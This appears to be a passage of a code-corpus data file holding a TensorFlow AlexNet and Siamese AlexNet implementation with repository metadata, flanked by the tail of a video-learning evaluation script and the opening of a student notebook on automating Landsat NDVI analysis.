json.dump(topk_correct, fp)\n\n\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "16483a8eb170b95c63a1f518acf157849218d563", "size": 5151, "ext": "py", "lang": "Python", "max_stars_repo_path": "eval_retrieve_knn_pred.py", "max_stars_repo_name": "KuangHaofei/video-contrastive-learning", "max_stars_repo_head_hexsha": "5b51507912a07e821e266da3a152de83177bab1d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "eval_retrieve_knn_pred.py", "max_issues_repo_name": "KuangHaofei/video-contrastive-learning", "max_issues_repo_head_hexsha": "5b51507912a07e821e266da3a152de83177bab1d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "eval_retrieve_knn_pred.py", "max_forks_repo_name": "KuangHaofei/video-contrastive-learning", "max_forks_repo_head_hexsha": "5b51507912a07e821e266da3a152de83177bab1d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.5590551181, "max_line_length": 117, "alphanum_fraction": 0.6284216657, "include": true, "reason": "import numpy", "num_tokens": 1331, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290806, "lm_q2_score": 0.1919327841361473, "lm_q1q2_score": 0.09671611425303066}}
{"text": "\"\"\"This is an TensorFLow implementation of AlexNet by Alex Krizhevsky at all.\n\nPaper:\n(http://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks.pdf)\n\nExplanation can be found in my blog post:\nhttps://kratzert.github.io/2017/02/24/finetuning-alexnet-with-tensorflow.html\n\nThis script enables finetuning AlexNet on any given Dataset with any number of\nclasses. The structure of this script is strongly inspired by the fast.ai\nDeep Learning class by Jeremy Howard and Rachel Thomas, especially their vgg16\nfinetuning script:\nLink:\n- https://github.com/fastai/courses/blob/master/deeplearning1/nbs/vgg16.py\n\n\nThe pretrained weights can be downloaded here and should be placed in the same\nfolder as this file:\n- http://www.cs.toronto.edu/~guerzhoy/tf_alexnet/\n\n@author: Frederik Kratzert (contact: f.kratzert(at)gmail.com)\n\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\nfrom abc import abstractmethod\n\n\nclass Model(object):\n    @abstractmethod\n    def __init__(self):\n        pass\n\n    @abstractmethod\n    def set_model_vars(self, variable_dict, session):\n        pass\n\n    @abstractmethod\n    def get_model_vars(self, session, init=False):\n        return {}\n\n    @abstractmethod\n    def load_model_vars(self, path: str, session):\n        pass\n\n    @abstractmethod\n    def save_model_vars(self, path: str, session, init=False):\n        pass\n\n    @abstractmethod\n    def load_model_pretrained(self, session):\n        pass\n\n    @abstractmethod\n    def _create_loss(self, *args):\n        pass\n\n\n# noinspection PyCompatibility\nclass AlexNet(Model):\n    \"\"\"Implementation of the AlexNet.\"\"\"\n    TRAIN_LAYERS = ...  # type: set\n    y = ...  # type: tf.placeholder\n\n    # ATTENTION: loading pretrained weights is called outside the constructor\n    def __init__(self, x, keep_prob, num_classes, train_layers, falpha=2.0,\n                 weights_path='/pretrained/bvlc_alexnet.npy'):\n        \"\"\"Create the graph of the AlexNet model.\n\n        Args:\n            x: Placeholder for the input tensor.\n            keep_prob: Dropout probability.\n            num_classes: Number of classes in the dataset.\n            train_layers: List of names of the layer, that get trained from\n                scratch\n            weights_path: Complete path to the pretrained weight file, if it\n                isn't in the same folder as this code\n        \"\"\"\n        # Parse input arguments into class variables\n        super(AlexNet, self).__init__()\n        self.X = x\n        # self.X = tf.placeholder(tf.float32, [None, 227, 227, 3])\n        self.NUM_CLASSES = num_classes\n        self.KEEP_PROB = keep_prob\n        self.TRAIN_LAYERS = train_layers\n        self.WEIGHTS_PATH = weights_path\n        self.ALPHA = falpha\n\n        # Call the create function to build the computational graph of AlexNet\n        # with tf.variable_scope('') as scope:\n\n        self._create_discriminator()\n\n        # define metrics\n        # TODO consider switching the second dimension to self.NUM_CLASSES\n        self.y = tf.placeholder(tf.float32, [None, self.NUM_CLASSES], name='y')\n        self.correct_pred = tf.equal(tf.argmax(self.fc8, 1), tf.argmax(self.y, 1))\n        self.accuracy = tf.reduce_mean(tf.cast(self.correct_pred, tf.float32), name='accuracy')\n\n        self._create_loss()\n        self._create_stats(falpha)\n\n    def _create_discriminator(self):\n        \"\"\"Create the network graph. returns tensors of fc7 and fc8\"\"\"\n        # 1st Layer: Conv (w ReLu) -> Lrn -> Pool\n        conv1 = conv(self.X, 11, 11, 96, 4, 4, padding='VALID', name='conv1')\n        norm1 = lrn(conv1, 2, 1e-05, 0.75, name='norm1')\n        pool1 = max_pool(norm1, 3, 3, 2, 2, padding='VALID', name='pool1')\n        self.conv1, self.norm1, self.pool1 = conv1, norm1, pool1\n\n        # 2nd Layer: Conv (w ReLu)  -> Lrn -> Pool with 2 groups\n        conv2 = conv(pool1, 5, 5, 256, 1, 1, groups=2, name='conv2')\n        norm2 = lrn(conv2, 2, 1e-05, 0.75, name='norm2')\n        pool2 = max_pool(norm2, 3, 3, 2, 2, padding='VALID', name='pool2')\n        self.conv2, self.norm2, self.pool1 = conv2, norm2, pool2\n\n        # 3rd Layer: Conv (w ReLu)\n        conv3 = conv(pool2, 3, 3, 384, 1, 1, name='conv3')\n        self.conv3 = conv3\n\n        # 4th Layer: Conv (w ReLu) splitted into two groups\n        conv4 = conv(conv3, 3, 3, 384, 1, 1, groups=2, name='conv4')\n        self.conv4 = conv4\n\n        # 5th Layer: Conv (w ReLu) -> Pool splitted into two groups\n        conv5 = conv(conv4, 3, 3, 256, 1, 1, groups=2, name='conv5')\n        pool5 = max_pool(conv5, 3, 3, 2, 2, padding='VALID', name='pool5')\n        self.conv5, self.pool5 = conv5, pool5\n\n        # 6th Layer: Flatten -> FC (w ReLu) -> Dropout\n        flattened = tf.reshape(pool5, [-1, 6 * 6 * 256])\n        fc6 = fc(flattened, 6 * 6 * 256, 4096, name='fc6')\n        dropout6 = dropout(fc6, self.KEEP_PROB, name='dropout6')\n        self.flattened, self.fc6, self.dropout6 = flattened, fc6, dropout6\n\n        # 7th Layer: FC (w ReLu) -> Dropout\n        fc7 = fc(dropout6, 4096, 4096, name='fc7')\n        dropout7 = dropout(fc7, self.KEEP_PROB, name='dropout7')\n        self.fc7, self.dropout7 = fc7, dropout7\n\n        # 8th Layer: FC and return unscaled activations\n        fc8 = fc(dropout7, 4096, self.NUM_CLASSES, relu=False, name='fc8')\n        self.fc8 = fc8\n\n    def _create_loss(self):\n        with tf.name_scope(\"cross_ent\"):\n            self.loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=self.fc8, labels=self.y),\n                                       name=\"loss\")\n\n    def load_model_pretrained(self, session):\n        \"\"\"Load weights from file into network.\n\n        As the weights from http://www.cs.toronto.edu/~guerzhoy/tf_alexnet/\n        come as a dict of lists (e.g. weights['conv1'] is a list) and not as\n        dict of dicts (e.g. weights['conv1'] is a dict with keys 'weights' &\n        'biases') we need a special load function\n        \"\"\"\n        # Load the weights into memory\n        variable_dict = np.load(self.WEIGHTS_PATH, encoding='bytes').item()  # type: dict\n        # Loop over all layer names stored in the weights dict\n        for op_name in variable_dict:  # type: str\n            # Check if layer should be trained from scratch\n            if op_name not in self.TRAIN_LAYERS:\n                with tf.variable_scope(op_name, reuse=True):\n                    # Assign weights/biases to their corresponding tf variable\n                    for data in variable_dict[op_name]:\n                        var_name = \"biases\" if len(data.shape) == 1 else \"weights\"\n                        var = tf.get_variable(var_name, trainable=False)\n                        try:\n                            session.run(var.assign(data))\n                        except:\n                            print(\"Failed to assign value to\", var.name)\n\n    def _create_stats(self, alpha):\n        \"\"\"only works for binary classification\"\"\"\n        prediction = tf.argmax(self.fc8, axis=1, name='alexnet-prediction')\n        ground_truth = tf.argmax(self.y, axis=1, name='alexnet-ground-truth')\n        self.prediction, self.ground_truth = prediction, ground_truth\n        self.TP = tf.reduce_sum(prediction * ground_truth)  # True Positive\n        self.TN = tf.reduce_sum((1 - prediction) * (1 - ground_truth))  # True Negative\n        self.FP = tf.reduce_sum(prediction * (1 - ground_truth))  # False Positive\n        self.FN = tf.reduce_sum((1 - prediction) * ground_truth)  # False Negative\n        self.precision = self.TP / (self.TP + self.FP)\n        self.recall = self.TP / (self.TP + self.FN)\n        self.F_alpha = (1 + alpha) / (1 / self.precision + alpha / self.recall)\n        if self.NUM_CLASSES != 2:\n            print(\"Warning: precision, recall and F_alpha score does not apply to Multi-Label Classification\")\n\n    def get_model_vars(self, session, init=False):\n        \"\"\"returns a dict of variables in the model, with keys being layer names and values being list of np.arrays\"\"\"\n        if init:\n            session.run(tf.global_variables_initializer())\n        layers = ['conv1', 'conv2', 'conv3', 'conv4', 'conv5', 'fc6', 'fc7', 'fc8']\n        variable_dict = {layer: [] for layer in layers}\n        for layer in variable_dict:\n            with tf.variable_scope(layer, reuse=True):\n                for var_name in [\"weights\", \"biases\"]:\n                    var = tf.get_variable(var_name)\n                    variable_dict[layer].append(session.run(var))\n        return variable_dict\n\n    def set_model_vars(self, variable_dict, session):\n        \"\"\"assign model variables with values from a dict passed\"\"\"\n        for op_name in variable_dict:\n            with tf.variable_scope(op_name, reuse=True):\n                for data in variable_dict[op_name]:\n                    var_name = 'biases' if len(data.shape) == 1 else \"weights\"\n                    # in case set_model_vars() is called before load_model_pretrained(), set trainable\n                    var = tf.get_variable(var_name, trainable=op_name in self.TRAIN_LAYERS)\n                    session.run(var.assign(data))\n\n    def save_model_vars(self, path: str, session, init=False):\n        \"\"\"save model var-value dict under passed path\"\"\"\n        np.save(path, self.get_model_vars(session, init=init))\n\n    def load_model_vars(self, path: str, session):\n        \"\"\"load model var-value from passed path\"\"\"\n        variable_dict = np.load(path, encoding=\"bytes\").item()  # type: dict\n        self.set_model_vars(variable_dict, session)\n\n\nclass SiameseAlexNet(Model):\n    def __init__(self, x1, x2, keep_prob, num_classes, train_layers, name_scope=\"Siamese\", proj=\"flattened\",\n                 falpha=2.0, margin00=3.5, margin01=7.0, margin11=8.0, weights_path='/pretrained/bvlc_alexnet.npy',\n                 punish00=1.0, punish11=1.0, punish01=5.0):\n        super(SiameseAlexNet, self).__init__()\n        self.name_scope = name_scope\n        self.margin00 = margin00\n        self.margin01 = margin01\n        self.margin11 = margin11\n        self.punish00 = punish00\n        self.punish11 = punish11\n        self.punish01 = punish01\n        self.proj = proj\n        with tf.variable_scope(self.name_scope) as scope:\n            self.net1 = AlexNet(x1, keep_prob, num_classes, train_layers, falpha=falpha, weights_path=weights_path)\n            scope.reuse_variables()\n            self.net2 = AlexNet(x2, keep_prob, num_classes, train_layers, falpha=falpha, weights_path=weights_path)\n            # define a loss for Siamese Network\n            self._create_loss(proj)\n\n    def _create_loss(self, proj):\n        # XXX punishing the Pos-Neg loss harder than Pos-Pos loss and Neg-Neg loss to avoid underfitting\n        proj1, proj2 = self._get_projections(proj)\n        eucd2 = tf.reduce_mean((proj1 - proj2) ** 2, axis=1, name=\"euclidean_dist_squared\")\n        eucd = tf.sqrt(eucd2, name=\"euclidean_dist\")\n        print('euclidean distances tensor', eucd)\n        # y1, y2 and y_cmp should be a class member\n        y1 = tf.cast(tf.argmax(self.net1.y, axis=1), tf.float32, name='siam-y1')\n        y2 = tf.cast(tf.argmax(self.net2.y, axis=1), tf.float32, name='siam-y2')\n        self.y1_label, self.y2_label = y1, y2\n        y_diff = tf.cast(y1 - y2, tf.bool, name=\"comparison_label_in_tf.bool\")\n        y_diff = tf.cast(y_diff, tf.float32, name=\"comparison_label_in_tf.float32\")\n        self.count01 = tf.reduce_sum(y_diff, name='count01')\n        self.count00 = tf.reduce_sum((1 - y1) * (1 - y2), name='count00')\n        self.count11 = tf.reduce_sum(y1 * y2, name='count11')\n\n        # if label1 and label2 are the same, y_diff = 0, punish the part where eucd exceeds margin\n        loss00 = tf.reduce_mean(((1 - y1) * (1 - y2) * tf.nn.relu(eucd - self.margin00)) ** 2, axis=0, name='loss00')\n        loss11 = tf.reduce_mean((y1 * y2 * tf.nn.relu(eucd - self.margin11)) ** 2, axis=0, name='loss11')\n        self.mean_dist00 = tf.reduce_sum((1 - y1) * (1 - y2) * eucd) / self.count00\n        self.mean_dist11 = tf.reduce_sum(y1 * y2 * eucd) / self.count11\n\n        # if label1 and label2 are different, y_diff = 1, punish the part where eucd falls short of margin\n        loss01 = tf.reduce_mean((y_diff * tf.nn.relu(self.margin01 - eucd)) ** 2, axis=0, name='loss01')\n        self.mean_dist01 = tf.reduce_sum(y_diff * eucd) / self.count01\n\n        self.loss00 = loss00 * self.punish00\n        self.loss01 = loss01 * self.punish01\n        self.loss11 = loss11 * self.punish11\n        self.loss = tf.add(self.loss00 + self.loss11, self.loss01, name=\"siamese-loss\")\n        print(self.loss)\n\n    def _get_projections(self, proj):\n        print('projection =', proj, \"type=\", type(proj))\n        projections = (self.net1.dropout6, self.net2.dropout6)\n        try:\n            if proj == \"fc6\":\n                projections = (self.net1.fc6, self.net2.fc6)\n            elif proj == \"fc7\":\n                projections = (self.net1.fc7, self.net2.fc7)\n            elif proj == \"fc8\":\n                projections = (self.net1.fc8, self.net2.fc8)\n            elif proj == \"dropout6\":\n                projections = (self.net1.dropout6, self.net2.dropout6)\n            elif proj == \"dropout7\":\n                projections = (self.net1.dropout7, self.net2.dropout7)\n            elif proj == \"flattened\":\n                projections = (self.net1.flattened, self.net2.flattened)\n            else:\n                raise ValueError(\"Illegal Projection: \" + proj)\n        except ValueError as e:\n            print(\"ValueError: encountered in _get_predictions\")\n            print(e)\n        finally:\n            print(\"projections of %s are \" % self.name_scope, projections[0].name, projections[1].name)\n            print(\"dimensions of projection is\", projections[0].shape, projections[1].shape)\n            return projections\n\n    def load_model_pretrained(self, session):\n        with tf.variable_scope(self.name_scope, reuse=True):\n            self.net1.load_model_pretrained(session)\n\n    def load_model_vars(self, path: str, session):\n        \"\"\"load model var-value from passed path\"\"\"\n        with tf.variable_scope(self.name_scope, reuse=True):\n            self.net1.load_model_vars(path, session)\n\n    def save_model_vars(self, path: str, session, init=False):\n        \"\"\"save model var-value dict under passed path\"\"\"\n        with tf.variable_scope(self.name_scope):\n            self.net1.save_model_vars(path, session, init=init)\n\n    def get_model_vars(self, session, init=False):\n        \"\"\"returns a dict of variables in the model, with keys being layer names and values being list of np.arrays\"\"\"\n        with tf.variable_scope(self.name_scope):\n            return self.net1.get_model_vars(session, init=init)\n\n    def set_model_vars(self, variable_dict, session):\n        \"\"\"assign model variables with values from a dict passed\"\"\"\n        with tf.variable_scope(self.name_scope):\n            self.net1.set_model_vars(variable_dict, session)\n\n    # return a new instance of AlexNet with trainable variables\n    def get_net_copy(self, session, x=None, keep_prob=None, num_classes=None, train_layers=None, falpha=None,\n                     weights_path=None) -> AlexNet:\n        if x is None:\n            x = self.net1.X\n            print(\"Warning: x should be specified as a new placeholder\")\n        if keep_prob is None:\n            keep_prob = self.net1.KEEP_PROB\n        if num_classes is None:\n            num_classes = self.net1.NUM_CLASSES\n        if train_layers is None:\n            train_layers = self.net1.TRAIN_LAYERS\n            print(\"Warning: train_layers should be specified as a new list of layer names\")\n        if falpha is None:\n            falpha = self.net1.ALPHA\n        if weights_path is None:\n            weights_path = self.net1.WEIGHTS_PATH\n        new_net = AlexNet(x, keep_prob, num_classes, train_layers, falpha=falpha, weights_path=weights_path)\n        new_net.set_model_vars(self.get_model_vars(session), session)\n        return new_net\n\n\ndef conv(x, filter_height, filter_width, num_filters, stride_y, stride_x, name, padding='SAME', groups=1):\n    \"\"\"Create a convolution layer.\n\n    Adapted from: https://github.com/ethereon/caffe-tensorflow\n    \"\"\"\n    # Get number of input channels\n    input_channels = int(x.get_shape()[-1])\n\n    # Create lambda function for the convolution\n    convolve = lambda i, k: tf.nn.conv2d(i, k,\n                                         strides=[1, stride_y, stride_x, 1],\n                                         padding=padding)\n\n    with tf.variable_scope(name) as scope:\n        # Create tf variables for the weights and biases of the conv layer\n        weights = tf.get_variable('weights', shape=[filter_height,\n                                                    filter_width,\n                                                    input_channels / groups,\n                                                    num_filters])\n        biases = tf.get_variable('biases', shape=[num_filters])\n\n    if groups == 1:\n        conv = convolve(x, weights)\n\n    # In the cases of multiple groups, split inputs & weights and\n    else:\n        # Split input and weights and convolve them separately\n        input_groups = tf.split(axis=3, num_or_size_splits=groups, value=x)\n        weight_groups = tf.split(axis=3, num_or_size_splits=groups,\n                                 value=weights)\n        output_groups = [convolve(i, k) for i, k in zip(input_groups, weight_groups)]\n\n        # Concat the convolved output together again\n        conv = tf.concat(axis=3, values=output_groups)\n\n    # Add biases\n    bias = tf.reshape(tf.nn.bias_add(conv, biases), tf.shape(conv))\n\n    # Apply relu function\n    relu = tf.nn.relu(bias, name=scope.name)\n\n    return relu\n\n\ndef fc(x, num_in, num_out, name, relu=True):\n    \"\"\"Create a fully connected layer.\"\"\"\n    with tf.variable_scope(name) as scope:\n\n        # Create tf variables for the weights and biases\n        weights = tf.get_variable('weights', shape=[num_in, num_out],\n                                  trainable=True)\n        biases = tf.get_variable('biases', [num_out], trainable=True)\n\n        # Matrix multiply weights and inputs and add bias\n        act = tf.nn.xw_plus_b(x, weights, biases, name=scope.name)\n\n    if relu:\n        # Apply ReLu non linearity\n        relu = tf.nn.relu(act)\n        return relu\n    else:\n        return act\n\n\ndef max_pool(x, filter_height, filter_width, stride_y, stride_x, name, padding='SAME'):\n    \"\"\"Create a max pooling layer.\"\"\"\n    return tf.nn.max_pool(x, ksize=[1, filter_height, filter_width, 1],\n                          strides=[1, stride_y, stride_x, 1],\n                          padding=padding, name=name)\n\n\ndef lrn(x, radius, alpha, beta, name, bias=1.0):\n    \"\"\"Create a local response normalization layer.\"\"\"\n    return tf.nn.local_response_normalization(x, depth_radius=radius,\n                                              alpha=alpha, beta=beta,\n                                              bias=bias, name=name)\n\n\ndef dropout(x, keep_prob, name='dropout'):\n    \"\"\"Create a dropout layer.\"\"\"\n    return tf.nn.dropout(x, keep_prob, name=name)\n\n\ndef test1():\n    keep_prob = tf.placeholder(tf.float32, [], name='keep_prob')\n    x = tf.placeholder(tf.float32, [None, 227, 227, 3], name='x')\n    x1 = tf.placeholder(tf.float32, [None, 227, 227, 3], name='x1')\n    x2 = tf.placeholder(tf.float32, [None, 227, 227, 3], name='x2')\n    num_classes = 2\n    sTrainLayers = ['fc6']\n    aTrainLayers = ['fc7', 'fc8']\n    sNet = SiameseAlexNet(x1, x2, keep_prob, num_classes, sTrainLayers)\n    sess = tf.InteractiveSession()\n    # sNet.load_model_pretrained(session=sess)\n    print(sNet.net1.conv1)\n\n    aNet = sNet.get_net_copy()\n\n\nif __name__ == \"__main__\":\n    # how the two nets in Siamese Net share the keep_prob placeholder?\n    # the keep_prob argument passed to constructor is an integer, instead of a placeholder\n    keep_prob = tf.placeholder(tf.float32, [], name='keep_prob')\n    x = tf.placeholder(tf.float32, [None, 227, 227, 3], name='x')\n    x1 = tf.placeholder(tf.float32, [None, 227, 227, 3], name='x1')\n    x2 = tf.placeholder(tf.float32, [None, 227, 227, 3], name='x2')\n    # image_batch = np.random.rand(5, 227, 227, 3)\n    # label_batch = np.random.rand(5, 1000)\n    net = AlexNet(x, keep_prob, 2, ['fc6', 'fc7'])\n    # net = SiameseAlexNet(x1, x2, 0.5, 3, ['fc6', 'fc7', 'fc8'], name_scope=\"SiameseA\", proj=\"flattened\")\n    # netB = SiameseAlexNet(x1, x2, 0.5, 3, ['fc6', 'fc7', 'fc8'], name_scope=\"SiameseB\")\n    # check_path = \"/Users/liushuheng/Desktop/vars.npy\"\n    # with tf.Session() as sess:\n    #     sess.run(tf.global_variables_initializer())\n    #     net.load_model_pretrained(sess)\n    # y1 = sess.run(netA.net1.y, feed_dict={netA.net1.X: image_batch, netA.net1.y: label_batch})\n    # y2 = sess.run(netB.net1.y, feed_dict={netB.net1.X: image_batch, netB.net1.y: label_batch})\n    # netA.save_model_vars(check_path, sess)\n    # netB.load_model_vars(check_path, sess)\n    # y3 = sess.run(netB.net1.y, feed_dict={netB.net1.X: image_batch, netB.net1.y: label_batch})\n    # assert (y1 == y2).all(), \"assertion1 failed\"\n    # print(\"assertion1 passed\")\n    # assert (y1 == y3).all(), \"assertion2 failed\"\n    # print(\"assertion2 passed\")\n    # d = net.get_model_vars(sess)\n    # init_weights = np.load(\"/pretrained/bvlc_alexnet.npy\", encoding=\"bytes\").item()\n\n    # for var in tf.global_variables():\n    # # for var in tf.get_default_graph().get_operations():\n    #     print(var.name, end=\" \")\n", "meta": {"hexsha": "ee3bcd438e53aacb8c8c69a93d9ce29397b4deee", "size": 21427, "ext": "py", "lang": "Python", "max_stars_repo_path": "alexnet.py", "max_stars_repo_name": "Johnny-Wish/Siamese-AlexNet", "max_stars_repo_head_hexsha": "fd81a921efbb8da1e4fbaefb639d86a1ee83897e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 30, "max_stars_repo_stars_event_min_datetime": "2018-11-01T04:59:44.000Z", "max_stars_repo_stars_event_max_datetime": "2018-11-27T08:51:50.000Z", "max_issues_repo_path": "alexnet.py", "max_issues_repo_name": "Johnny-Wish/siamese-optimization-for-neural-nets", "max_issues_repo_head_hexsha": "fd81a921efbb8da1e4fbaefb639d86a1ee83897e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "alexnet.py", "max_forks_repo_name": "Johnny-Wish/siamese-optimization-for-neural-nets", "max_forks_repo_head_hexsha": "fd81a921efbb8da1e4fbaefb639d86a1ee83897e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.0147058824, "max_line_length": 118, "alphanum_fraction": 0.624585803, "include": true, "reason": "import numpy", "num_tokens": 5552, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.1919327818250578, "lm_q1q2_score": 0.09671611308845837}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name: Heidi Yoon**\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# ## Workflow for this notebook\n# **Steps to process one scene of Landsat data:**\n# 1. Make a list of all the bands for one scene.\n# 2. Open and clean data for valid values for that scene. \n# 3. Calculate the NDVI, mask for clouds, and calculate the mean NDVI for that scene.\n# **Steps to process all scenes for one site of Landsat data:**\n# 1. Make a list of all scenes (dates) for one site.\n# 2. For each scene, open and clean data for valid values, calculate the NDVI, mask for clouds, and calculate the mean NDVI.\n# 3. Store the mean NDVI, date of the scene, and site name for each scene in a pandas dataframe.\n# **Steps to process multiple sites of Landsat data:**\n# 1. Make a list of all the sites.\n# 2. For each site, get the data and clean for valid values for each scene, calculate the NDVI, mask for clouds, and calculate the mean NDVI for each scene.\n# 3. Store the mean NDVI, date, and site name for each scene in a pandas dataframe.\n# 4. Export the dataframe with mean NDVI to csv.\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\nimport os\nfrom glob import glob\n\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd\nimport matplotlib.pyplot as plt\nimport xarray as xr\nimport rioxarray as rxr\nimport earthpy as et\nimport earthpy.mask as em\nimport pyproj\nfrom matplotlib.dates import DateFormatter\n\n# Help with date time conversion between pandas and matplotlib\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\n# Download data and set working directory\net.data.get_data('ndvi-automation')\nos.chdir(os.path.join(et.io.HOME, \"earth-analytics\", \"data\"))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Data Source and Areas of Interest\n# * In this notebook, we analyze Landsat 8 imagery and vector files for two field sites in the National Ecological Observatory Network (NEON). The first field site is the Harvard Forest and Quabbin Watershed (HARV), which is located approximately 65 miles west of Boston, Massachusetts. The second field site is the San Joaquin Experimental Range (SJER) located approximately 25 miles north of Fresno, California.\n# * These data are available online as part of the <a href=\"https://earthpy.readthedocs.io/en/latest/earthpy-data-subsets.html#ndvi-automation\" target=\"_blank\">EarthPy Data Subset</a>.\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# 